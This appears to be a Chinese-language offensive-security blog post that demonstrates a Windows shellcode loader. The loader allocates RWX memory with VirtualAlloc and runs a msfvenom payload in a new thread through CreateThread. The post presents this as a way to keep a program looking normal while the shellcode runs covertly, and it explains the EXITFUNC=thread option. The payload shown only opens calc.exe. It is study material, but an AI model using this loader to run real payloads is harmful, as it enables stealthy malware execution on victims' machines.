0xd00's blog

Back

使用 CreateThread 实现 Shellcode 的异步执行Blur image

之前的文章中我们都是通过函数指针来运行shellcode的,但这样存在一个问题,程序在运行到shellcode时会卡住,在等待shellcode运行结束并返回后才能继续运行或退出。

为了避免这一情况并提高shellcode的隐蔽性,我们通常会使用异步调用的方式如CreateThread创建一个新的线程来运行shellcode,这样主程序可以继续运行来伪装一个正常程序的行为,shellcode也能在后台偷偷执行。

#include <Windows.h>
#include <stdio.h>

// msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
	HANDLE hThread = NULL;
	LPVOID lpShellcode = NULL;

	// === 步骤 1: 分配可执行内存 ===
	// 使用 VirtualAlloc 在当前进程的虚拟地址空间中分配一块内存。
	// NULL: 让系统自动选择地址。
	// sizeof(buf): 分配的大小与我们的Shellcode大小相同。
	// MEM_COMMIT | MEM_RESERVE: 同时预定并提交物理内存。
	// PAGE_EXECUTE_READWRITE: 将这块内存标记为可读、可写、可执行。
	// 这是最危险的权限组合,也是现代EDR重点监控的标志。
	printf("1. Allocating executable memory...\n");
	lpShellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpShellcode == NULL) {
		printf("VirtualAlloc failed. Error code: %d\n", GetLastError());
		return 1;
	}
	printf("   Memory allocated at: 0x%p\n", lpShellcode);

	// === 步骤 2: 复制Shellcode到可执行内存中 ===
	// 现在,我们将Shellcode字节码复制到刚刚申请的内存区域。
	// RtlMoveMemory 是一个宏,通常被定义为 memcpy。
	printf("2. Copying shellcode to the allocated memory...\n");
	RtlMoveMemory(lpShellcode, buf, sizeof(buf));

	// === 步骤 3: 创建新线程以执行Shellcode ===
	// 使用 CreateThread 创建一个新线程。
	// [关键!] 线程的起始地址 (lpStartAddress) 被设置为我们Shellcode所在的地址。
	// 当线程开始运行时,CPU会直接从这个地址取指令并执行。
	printf("3. Creating a new thread to execute the shellcode...\n");
	hThread = CreateThread(
		NULL,                   // 默认安全属性
		0,                      // 默认栈大小
		(LPTHREAD_START_ROUTINE)lpShellcode, // 将Shellcode的地址作为函数指针
		NULL,                   // 无参数传递给Shellcode
		0,                      // 默认创建标志
		NULL);                  // 不需要返回线程ID

	if (hThread == NULL) {
		printf("CreateThread failed. Error code: %d\n", GetLastError());
		VirtualFree(lpShellcode, 0, MEM_RELEASE); // 清理内存
		return 1;
	}
	printf("   Thread created successfully.\n");

	// === 步骤 4: 预计等待线程执行完成时间 ===
	// 不用等待Shellcode执行完成,只需要预计一个执行完成时间便继续运行程序剩余代码。
	printf("4. Waiting for the thread to finish...\n");
	WaitForSingleObject(hThread, INFINITE);
	printf("   Thread finished.\n");

	// === 步骤 5: 清理资源 ===
	// 关闭线程句柄并释放我们申请的内存。
	printf("5. Cleaning up resources...\n");
	CloseHandle(hThread);
	VirtualFree(lpShellcode, 0, MEM_RELEASE);

	return 0;
}
c

image-20250722164007830

可以看到,在成功运行计算器后程序还在继续运行。

小插曲#

msfvenom -p windows/x64/exec CMD=calc.exe -a x64 -f c EXITFUNC=thread
shell

在生成shellcode是可以看到我指定了一个新的参数EXITFUNC=thread若不指定,标准shellcode在执行完毕后,会尝试执行ret指令返回。但在我们的加载器场景中,线程是直接跳转到shellcode地址开始执行的,并没有一个合法的返回地址压在栈上。这导致ret指令会弹出一个无效地址,从而触发0xC000D0005: Access Violation致命错误,导致线程崩溃。

通过EXITFUNC=thread就可以在Shellcode的末尾自动添加调用ExitThread的代码,从而优雅的退出线程。

使用 CreateThread 实现 Shellcode 的异步执行
https://blog.0xd00.com/blog/async-shellcode-with-createthread
Author 0xd00
Published at 2025年7月22日
Comment seems to stuck. Try to refresh?✨